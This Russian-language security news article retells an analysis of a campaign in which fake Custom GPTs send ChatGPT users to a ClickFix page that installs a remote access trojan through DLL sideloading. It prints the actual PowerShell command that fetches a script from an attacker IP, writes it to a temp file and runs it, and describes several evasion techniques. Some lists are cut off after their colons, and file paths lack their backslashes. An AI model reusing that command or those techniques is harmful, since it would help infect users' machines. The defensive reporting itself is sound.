Исследователи безопасности из Huntress раскрыли новую схему социальной инженерии, в которой злоумышленники злоупотребляют функцией Custom GPTs платформы ChatGPT для распространения вредоносного ПО. Атакующие создают поддельные GPT-модели, маскирующиеся под легитимные продукты OpenAI, и направляют жертв на вредоносные сайты с ClickFix-ловушками, которые в конечном итоге устанавливают полнофункциональный Remote Access Trojan (RAT) через многоступенчатую цепочку заражения с использованием DLL sideloading.
Ключевые факты: Злоумышленники создают фейковые Custom GPT модели (например "Plus 5.6") на легитимном домене chatgpt.com; жертв перенаправляют на Google Sites с fake Cloudflare проверкой; PowerShell команда загружает вредоносный MSI; используется DLL sideloading с подписанными приложениями Canon и Stardock; Huntress зафиксировал минимум 40 инцидентов; OpenAI удалил первый GPT к 25 сентября, но 27 сентября появился второй.
Атака начинается с того, что жертвы ищут "chatgpt" в Google и кликают на спонсорский результат, который ведет их на легитимный домен ChatGPT. URL содержит параметры отслеживания Google Ads (gad_source, gad_campaignid), что делает ссылку более заметной в поисковой выдаче. Злоумышленники создают Custom GPT с названием "Plus 5.6", чтобы неискушенный пользователь принял его за настоящую модель ChatGPT. На странице указано, что GPT создан "community builder", что может насторожить знающих пользователей, но для обычных жертв страница выглядит как обычный разговор с новой моделью ИИ.
Любое взаимодействие с этим Custom GPT приводит к одному и тому же ответу: "Service Availability Notice" с сообщением о "limited availability on the primary domain". Пользователям предлагается либо обновить подписку до Plus, либо "continue using the service through our backup domain". Этот "backup domain" ведет на страницу Google Sites по адресу sites[.]google[.]com/view/antibot172881, которая имитирует проверку Cloudflare CAPTCHA и содержит ClickFix-атаку, инструктирующую пользователей скопировать и вставить команду в терминал.
Команда PowerShell выглядит следующим образом:
"C:WINDOWSsystem32WindowsPowerShellv1.0PowerShell.exe" -ExecutionPolicy Bypass "irm 1614733393/12 | Out-File $env:temp1777.ps1;& $env:temp1777.ps1"
Эта команда загружает обфусцированный скрипт, который тихо устанавливает вредоносный MSI (ISOSimple.msi). MSI злоупотребляет легитимным приложением с цифровой подписью Canon для sideloading вредоносного кода, а затем настраивает два механизма персистентности: Run key в реестре и запланированную задачу, обе с именем "Canon Configuration Reader".
Большинство цепочек ClickFix состоят из двух-трех шагов: вставить команду, скачать что-то, запустить. Эта атака имеет восемь этапов, и каждый существует для сокрытия следующего. К концу пропатченная DLL Canon загружает helper, который извлекает loader из .wav файла, и этот loader распаковывает RAT из собственной зашифрованной файловой системы.
Команды ClickFix следуют одному шаблону, но детали меняются для каждой жертвы. Каждая версия загружает скрипт с помощью irm, записывает его в %TEMP% под случайным числом (1777.ps1 в одном инциденте, 6469.ps1 в другом) и запускает его. Сервер также меняется между инцидентами. В проанализированных образцах хост записан как десятичное число (1614733393), а не как точечный IP. Windows принимает эту форму и разрешает ее в 96.62.224[.]81, но правила и URL-фильтры, ищущие точечный IP-адрес, никогда его не увидят.
Скрипт, попадающий в %TEMP%, представляет собой одну строку длиной 27,581 символ, и почти вся она — это массив из 3,036 отрицательных целых чисел. Каждое целое число — это один символ настоящего скрипта, сдвинутый на фиксированный ключ. Скрипт добавляет 1520498 к каждому значению, превращает результаты обратно в символы и запускает восстановленный код с помощью [scriptblock]::Create, поэтому декодированная версия никогда не касается диска.
ISOSimple.msi представляется как "Advanced Printer Configuration Reader" от издателя "Softplicity" и тихо устанавливается в %LOCALAPPDATA%ProgramsAdvanced Printer Configuration Reader. Две настройки делают его тише обычного установщика. ARPSYSTEMCOMPONENT=1 скрывает его от "Программы и компоненты", поэтому пользователь, который ищет то, что только что установил, не найдет его. Пользовательское действие запускает COTFileReadApp.exe сразу после завершения установки, поэтому ничего не ждет перезагрузки или входа в систему.
Пакет содержит 177 файлов, и почти все они безвредны. Большинство — это полная, легитимно подписанная среда выполнения .NET 5, которая нужна приложению Canon. Остальное — декорации: образ дискеты DOS 6.22, файл справки, скин UI, чтобы выглядело "красиво", лицензия MIT и библиотека ASProtect. Из файлов только восемь представляют интерес для расследования:
COTFileReadApp.exe — настоящий бинарный файл Canon из CaptureOnTouch, и его подпись проверяется. Его компаньон, COTFileReadApp.dll, вызывает библиотеку логирования Canon, ceiinfolog.dll. Когда программа запрашивает DLL по имени, Windows сначала проверяет собственную папку программы, поэтому все, что находится рядом с EXE с правильным именем, загружается. Это и есть DLL sideloading — дверь, которую использовали злоумышленники.
ceiinfolog.dll в этом пакете выглядит как настоящая, потому что в основном она и есть настоящая. Ее debug path указывает на собственное дерево сборки Canon (c:datahomeceidriver...ceiinfolog.pdb), ее timestamp компиляции — 2015 год, и она все еще экспортирует функции логирования, которые вызывает код Canon. Но ее подпись исчезла, контрольная сумма в заголовке больше не соответствует содержимому, и ее таблица импорта имеет одну запись, которой не должно быть в библиотеке логирования: rdCore.dll!instance_levels_. Таблица импорта — это список других DLL, которые нужны библиотеке, и Windows загружает каждую запись в ней до того, как запустится собственный код библиотеки. Поэтому в момент, когда приложение Canon загружает свой logger, rdCore.dll приходит вместе с ним, и ничего в коде Canon не нужно менять.
Common.Integrator.Preview.wav выдерживает быстрый осмотр. У него валидный заголовок RIFF/WAVE (16-битный стерео PCM на 22,050 Гц), команда file называет его аудио, и первая часть файла — настоящие аудиоданные. Но при ближайшем рассмотрении он разваливается. Заголовок говорит, что файл около 700 КБ, когда на самом деле он чуть более 1 МБ, и на полпути плавные аудиосемплы превращаются в случайный шум.
Этот шум — loader. Как только rdCore.dll загружается, он запускает поток, который:
Декодированные байты — это 341 КБ позиционно-независимого x64 shellcode, по сути сырой машинный код, который запускается откуда бы он ни оказался в памяти, без EXE-обертки вокруг него. В нем нет ни одной читаемой строки. Каждая строка собирается в стеке во время выполнения и расшифровывается с помощью небольшого генератора псевдослучайных чисел (линейного конгруэнтного генератора), поэтому strings и сигнатурные сканеры оказываются пустыми.
Основная задача loader — найти свое хранилище. Он ищет в собственной папке файл с расширением .bak, .db, .bin, .dat, .raw или .pak и проверяет его по жестко закодированному ключу. Если ничего не совпадает, он показывает ошибку "[-] Not Found Storage !" и сдается. В этом пакете файл хранилища — monitor.raw.
monitor.raw — это пользовательская зашифрованная файловая система, созданная для контрабанды скрипта и RAT мимо защит жертвы. Вместо одного зашифрованного blob это пользовательский архив с собственным деревом папок, по сути самодельный зашифрованный zip-файл. Он начинается с небольшого заголовка, за которым следует индекс из 1,128 записей (по одной на каждый файл или папку, каждая записывает своего родителя, размер и ключ для каждого файла), а затем содержимое файлов, упакованное вплотную.
Ничего в monitor.raw не читается без ключа loader. Каждое поле в индексе зашифровано арифметикой на основе мастер-ключа (0x26ace8d1) плюс соль (дополнительное число, уникальное для каждой записи, которое смешивается в математику), поэтому никакие две записи не выглядят одинаково, и каждый файл дополнительно XOR-зашифрован собственным однобайтовым ключом.
После расшифровки архив содержит 315 папок и 806 файлов. Большинство файлов имеют длину всего несколько байт: флаги, задержки и имена, которые вместе образуют скомпилированное дерево настроек. Один из них, однако, представляет собой текстовый скрипт, написанный на собственном скриптовом языке вредоносного ПО.
@input — это финальная нагрузка: 1.58 МБ shellcode, построенного с тем же набором инструментов, что и loader. Для ручного управления он запускает сеансы удаленного рабочего стола и "трансляции" экрана, и может захватывать ввод камеры конечной точки, микрофон и системный звук. Он знает о 17 браузерах, от Chrome и Edge до Yandex и Arc, может определить, какой из них является браузером по умолчанию, и запустить его. Встроенный файловый менеджер поставляется с механизмом "расширенного поиска", который ищет содержимое файлов по всему хосту.
Он также создан для приведения друзей! RAT может сбрасывать и запускать последующие нагрузки, обрабатывая и выполняя EXE, DLL (через rundll32 или regsvr32), MSI, PowerShell, Batch, VBScript, JScript или ZIP файлы, либо встроенные, либо загруженные с URL тихо в фоновом режиме.
Прежде чем что-либо из этого, он оценивает хост, который заразил, документируя:
Чтобы найти свой C2-сервер, который строки называют "Gate", RAT использует DNS-over-HTTPS через серверы Cloudflare, Google и Quad9. Его запросы путешествуют внутри обычного HTTPS-трафика к хорошо известным резолверам, поэтому они никогда не появляются в локальных DNS-логах.
Все вышеперечисленное — это первая версия, построенная вокруг приложения Canon. Вскоре после того, как первый Custom GPT был отключен, исследователи были предупреждены о другом по адресу hxxps://chatgpt[.]com/g/g-6ab6ba039440819185ed491740b11cf8-plus-5-6. После быстрого расследования они подтвердили, что новый занял его место, и цепочка вернулась в другом наряде. Исследователи разобрали новые образцы тем же способом, и под краской это тот же комплект.
Подписанный хост теперь DeElevate64.exe от Stardock, пропатченная DLL логирования Canon заменена собственной DeElevator64.dll от Stardock, пропатченной таким же образом с одним дополнительным импортом, и loader больше не прячется в WAV. На этот раз он вшит в настоящий пакет Microsoft NuGet, Build.dat. Он заклинен в середине сжатых данных одной из собственных DLL пакета, и поскольку сжатые данные уже выглядят случайными, нет скачка от настоящего аудио к шуму, чтобы выдать его.
Доставка также стала прочнее. Там, где скрипт первой версии загружал MSI напрямую, версия два разделяет его на две части: крошечный stager загружает второй скрипт в память с поддельным user agent Chrome, и этот второй скрипт заново обфусцируется при каждом запросе, поэтому его хэш бесполезен как индикатор. Загрузка повторяется до трех раз, удаляет Mark-of-the-Web из MSI перед его запуском и устанавливает тихо. Mark-of-the-Web — это скрытый тег, который Windows прикрепляет ко всему, что загружено из интернета. Это то, что заставляет появляться предупреждения SmartScreen и "этот файл пришел из интернета", поэтому его удаление позволяет MSI запускаться так, как если бы он все время находился на диске. Loader также получил проверку на песочницу. Если helper-вызов не удается или файл-носитель отсутствует, он открывает безвредное окно вместо запуска нагрузки.
Большая часть этой цепочки запускается в памяти или прячется внутри файлов, которые выглядят безвредными, поэтому активность процессов — самое надежное место для ее обнаружения:
К сожалению, следует ожидать больше "костюмов". При проведении более глубокого исследования сервера доставки исследователи обнаружили, что он также размещал третий установщик, UltraFreeISOCreateWizardSolution.msi, в тот же день, когда началась волна Canon, и весьма вероятно, что другие подписанные приложения злоупотребляются таким же образом. Обнаружения, привязанные к именам Canon или Stardock, пропустят следующую замену. Поведения (пока) переносятся:
Критические рекомендации: Пользователи должны быть осторожны с Custom GPT моделями, особенно если они предлагают "backup domains" или инструкции по запуску команд. Организации должны мониторить активность PowerShell, запуск msiexec из необычных мест и подозрительные Run keys. OpenAI планирует отключить Custom GPTs 11 декабря 2026 года, что устранит этот вектор атаки.
Злоумышленники продолжают превращать доверенные платформы в убедительные точки входа для социальной инженерии, будь то через функцию Custom GPT ChatGPT или через Google Sites для размещения ClickFix-атаки. Эта кампания обманула десятки жертв, заставив их запустить PowerShell и установить вредоносную нагрузку. Ранее исследователи видели, как злоумышленники злоупотребляли легитимными функциями на AI-платформах, включая SEO-отравленные разговоры ChatGPT и Grok, выдаваемые за советы по устранению неполадок macOS, и обманывающие пользователей для запуска команд, которые загружали AMOS stealer. Спонсорский результат Google приводил пользователей Mac к общему разговору Claude, который инструктировал их запустить вредоносную команду Terminal, развертывающую MacSync stealer. Вредоносный Claude Artifact имитировал страницу загрузки Claude Desktop и перенаправлял жертв на вредоносное ПО SectopRAT.
Эти кампании часто остаются активными всего несколько часов или дней, прежде чем провайдер удалит контент, но даже за это короткое время они могут привлечь значительное внимание. Индустрия должна адаптироваться к этим новым векторам атак, обучая пользователей распознавать подобные схемы и внедряя более строгие проверки для AI-платформ.
«Социальная инженерия остается самым эффективным вектором атаки, потому что она эксплуатирует не технологии, а человеческую психологию. Злоумышленники всегда найдут способ использовать доверие пользователей к легитимным платформам в своих целях».
— Кевин Митник, известный хакер и эксперт по кибербезопасности
